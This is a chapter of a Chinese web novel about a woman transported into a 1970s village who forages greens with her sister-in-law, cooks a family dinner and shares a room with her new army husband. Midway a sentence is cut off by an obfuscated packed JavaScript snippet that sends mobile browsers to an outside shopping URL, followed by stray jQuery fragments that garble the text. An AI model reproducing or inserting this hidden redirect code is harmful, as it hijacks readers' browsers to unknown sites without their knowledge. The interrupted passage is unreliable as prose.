纪香玉乖乖点头:“好,谁也不给,我攒起来当小金库。”

    她很理解沈璃的这番话。

    纪香玉低头剜荠荠菜,她试探着道:“可是村里人不都说,生了儿子腰杆子自然就硬了?”

    她有点盼着这个女主是穿越来的,这样也能算半个老乡,没有手机玩,能一起回忆往昔,也能抚慰内心的空虚孤寂。

    “明明才20,为啥你那老封建思想能熏死个人?生儿子生儿子听着都烦,你就欠那二两肉是不是?”

    沈璃暴躁地怒骂着,上来扯她的筐子,把刚才给她的香椿都抢回去。

    “让你儿子给你掰香椿吃吧你!”沈璃压着的脾气,在听到陈词滥调时,再绷不住了。

    “我就是不懂,我问问你,你别生气。”纪香玉笑眯眯地拉着她筐子,细声细气道:“你听过宫廷玉液酒吗?”

    对生儿子不屑一顾的还得是她同龄人!

    “你想喝酒?那我割点猪耳朵去陪你?咋了,是担心我哥欺负你?你别怕,到时候他敢欺负你,我帮你撑腰。”沈璃叹气:“但是你得听我话。”

    纪香玉心都死了。

    看来女主真的是原住民,不是穿越也没有重生。

    “我不喝酒,也没有害怕。”纪香玉看着她筐里的香椿,眼巴巴地看着她:“所以,香椿能给我吗?”

    这哪是香椿,这分明是女主递过来的橄榄枝,是她即将抱上的金大腿。

    纪香玉拽着她袖子晃了晃。

    她对野菜报以万分喜爱。

    在某抖上刷别人挖野菜,看得她羡慕死了。

    知青点倒是给她分了一片菜园,但需要自己育种,原主跟着老知青种了黄瓜、豆角、番茄、茄子等,现在才冒尖,顶着嫩芽子,离能吃最低还有一个多月。

    而且她要随军了,显然是吃不到了。

    沈璃气笑了。

    她翻着白眼把香椿又放到她筐里,低声道:“到时候你就跟我哥随军,离开农村这个环境,自然天地辽阔,你别害怕他,他看着凶悍冷漠,实际上是个外冷内热的性子。”

    纪香玉听她说得诚恳,神色也郑重起来。

    其实刚穿书,她的心是飘着的,但是和沈武、沈璃相处,她愿意跟他们好好了解。

    人和人之间的关系只有一次,不能把对方弄得心灰意冷,再去挽回。

    破镜到底难圆。

    要从刚开始就好好的。

    纪香玉主动道:“我知道,沈同志只是不善表达,但他责任心重,为人踏实能干,我没有害怕他。”

    沈璃听着,狐疑地看着她,显然觉得她是在哄人,一个人思想转变没那么快。

    但她不介意,日子还长,陈旧思想终究能转过来。

    纪香玉看着沈璃挖野菜的身影,想着,把沈璃捞着一起去随军,应该有意思多了。

    她到时候可以提一下。

    提着小筐子回家,发现沈家人都回来了,见她回来,就笑着打招呼。

    纪香玉也笑眯眯地打招呼,看向沈家人。

    沈家父母沈青山、刘菊都是敦厚老实的面相,肤色黝黑,看着很瘦,穿着洗到发白的蓝色中山装,看着她的时候也有些局促。

    沈武弟弟叫沈放,今年十六,半大小子,见她看过来,就笑得露出一口大白牙:“嫂子!挖这么多野菜啊。”

    刘菊黑着脸叹气。

    虽然说很多姑娘都把彩礼贴补娘家了,这彩礼给了人家,爱咋用咋用,但是一毛没给自己留,也是生平少见。

    “这么多荠菜,晚上包荠菜饺子吧。”沈璃见气氛有点凝重,赶紧笑着打圆场。

    刘菊点点头:“行,现在开始弄,等天黑差不多了。”

    全家齐上阵,把荠菜收拾妥当,洗干净放着沥水。

    这荠菜鸡蛋饺子吃得就是个鲜,不需要多少调料,做着也简单。

    沈武在剁馅,刘菊在擀皮,沈青山洗竹篦子,沈放就甩水。

    一家人都没闲着。

    纪香玉不会擀皮,她就坐着等包饺子。

    片刻后。

    竹篦子上摆着刚包的荠菜鸡蛋饺子,上面铺满一层,微黄的面粉没有后世白,但看着就有食物本味。

    胖胖圆圆的饺子,在这个时代,是非常珍贵的精细粮食。

    也就刚结婚,加上沈武难得回家,才舍得吃。

    每家每户的细粮都有份额,这么多白面,还有煎鸡蛋的油,不容易凑。

    晌午的五花肉,两人也没吃完,合着荠菜,还能做成荠菜煎饼吃,这是她以前最喜欢的吃法。

    省时省力,有菜有肉有碳水,还耐饿,简直完美。

    饼皮和面的时候,要加点盐,这样做出来的饼皮比较筋道,饼皮炕焦了,做出来酥脆又软。

    荠菜吃得就是鲜,纪香玉没放太多调料,而是一点点的芝麻油和盐。

    看着她忙,沈武就问:“有啥需要我干的?”

    纪香玉:“你把香椿芽洗洗,用鸡蛋和面,等会儿煎了吃。”

    沈武应下。

    两人搭伙忙,就两个人的饭菜,做起来很快。

    等天色擦黑时,饭就做好了,端到小桌上摆着。

    切成三角形的荠菜煎饼,能看到金黄的表皮,和内里的荠菜馅儿,闻起来喷香。

    还有煎到两面金黄的香椿鱼,已经能想象到口感了。

    饺子也煮熟了,白白胖胖、挤挤挨挨地盛了一大碗。

    纪香玉咽了咽口水。

    忙活半日,她也有些饿了。

    沈武坐在小板凳上,大长腿有些无处安放,却仍旧乖乖地蜷着。

    纪香玉瞧着,有点像眼巴巴望着狗盆的大型犬。

    这么一想,她没忍住噗嗤一声笑出来。

    “吃饭啦~”

    纪香玉尝了一口荠菜煎饼,很香,一口下去,灵魂都被抚慰了。

    有种把春天吃到口里的感觉。

    沈武依旧吃得很斯文。

    纪香玉埋头吃饭,她能感觉到,对方确实很热忱真诚。

    自家做菜,用料很实诚,菜肉都看得到,荠菜和肉汁相互融合,激发出一种更实诚的鲜。

    刚出锅,还有些烫,纪香玉咬一口,往里面吹气。

    吹凉点,才好下嘴。

    她眼角余光瞥见沈武,对方跟感觉不到烫一样,如常吃着。

    好嘴啊!

    刘菊满脸欲言又止,看大家都吃得高兴,最后啥也没说。

    这么多好东西,一顿吃了,她心疼。

    等一家人吃完,沈放不用说,动作麻利地收筷子收碗,端去洗,把狭小的厨房收拾的干干净净。

    没有娱乐的年代,又要省煤油省电,天黑就要睡觉了。

    两人回了东屋。

    纪香玉坐在床沿上,看着沈武给她打了一盆洗脚水,想了想,低声道:“还要一个没用过的干净盆,我要洗屁屁。”

    沈武的脸,腾得红了。

    他闷着头去打了盆水回来,不好意思待屋里,就去外面洗冷水澡了。

    纪香玉把门锁好,洗好屁屁后,又把身上擦拭一遍,这才开始洗脚。

    她皱着眉头想,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495306|202458||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    没有浴室不方便,希望随军后,那边的房子有,没有也得建一个,擦洗总觉得不干净。

    片刻后,沈武回来了。

    “我睡地上。”沈武道。

    “好。”纪香玉毫不犹豫地点头。

    沈武抿了抿嘴,想说什么,到底没说,自己抱着被子铺床。

    纪香玉也有些紧张。

    她还没做好……的准备。

    纪香玉用被子捂着红扑扑的脸。

    一想到室内还有陌生男人,她就有点睡不着。

    而且,白天一直有人还好些,晚上天黑了,人就忍不住想家,她没有手机玩,和沈武睡一个屋也有些害怕。

    她用被子将自己紧紧裹住。

    还有房子里明明只有她和沈武,她却觉得热闹极了,总觉的房梁上有人,床底下有人,房门后有人。

    纪香玉缩进被窝深处,把自己团成一个球。

    天刚黑没多久,她的生物钟还不困,还能听到偶尔响起的狗叫声、牛叫声。

    黑暗中,情绪会被无限放大,躺在床上流了会儿泪,哭累了,无聊了,自己就睡着了。

    隔日一早。

    睁开眼睛发现还在乡下民房里,纪香玉扯了扯嘴角,起床洗漱,打算等会儿接着挖野菜去。

    结果刚打开房门,就见沈武和沈璃正立在篱笆外聊天。

    纪香玉耙了耙头顶的呆毛,呆呆地打招呼:“沈同志、阿璃,早上好呀。”

    怎么起这么早。

    沈璃挽着袖子在晒干菜,笑着道:“晒点家里的干菜,带去你们吃。”

    到时候去了黑省,离家千里又千里,再想吃这么一口,就难了。

    提前备着才是。

    纪香玉憋了一晚上的委屈,见她这么体贴,顿时感动的眼泪汪汪。

    “阿璃,幸好有你。”

    沈璃瞥了她一眼,问:“饿不饿?”

    纪香玉有些不好意思地点头,昨晚上哭的有点久,她醒的晚了。

    农村人,天不亮就醒了,现在村里都沸腾了,就她刚起。

    沈武和沈璃很勤快,大清早就把家里彻底大扫除一遍,大到地面,小到犄角旮旯,都收拾的干净齐整。

    纪香玉捧着粥,小口小口地喝着。

    见沈璃忙了半天,笑着招呼:“阿璃,你累不累?要不坐着歇歇。”

    沈璃确实有点累了,她一屁股坐在她身边,看着小姑娘温温柔柔地给她盛米茶喝,没忍住柔和了神色。

    纪香玉笑眯眯地又喊沈武:“沈同志要歇息吗?”

    沈武不累,但家里本来就很干净,再收拾也就那样,再没有他可以忙的了。

    两人相顾无言。

    沈璃想着自己了解到的信息,知道纪香玉没多少衣服穿,用脚踢了踢沈武:“带嫂子多买两套衣裳,去东北的衣裳也买了。”

    她觉得男人没有女人细心,许是考虑不到这些,但她不知道,沈武兜里已经装了钱。

    打算带纪香玉去市里买衣服,顺便再买块表。

    纪香玉看向沈璃:“阿璃,你要不要随军啊?”

    她昨天就想把女主薅上走,今天相处过,更是觉得这想法很好。想来也是,晋江的女主在人品道德方面,绝对比男主靠谱。

    沈璃指了指自己的鼻子:“我吗?”

    随军关她啥事?

    纪香玉解释:“难道你不想去部队找一个靠谱青年吗?他钱多事少不在家,你想干啥就干啥!”

    沈璃眉眼微抬,有点心动了。

    钱多事少不在家狠狠地打动了她。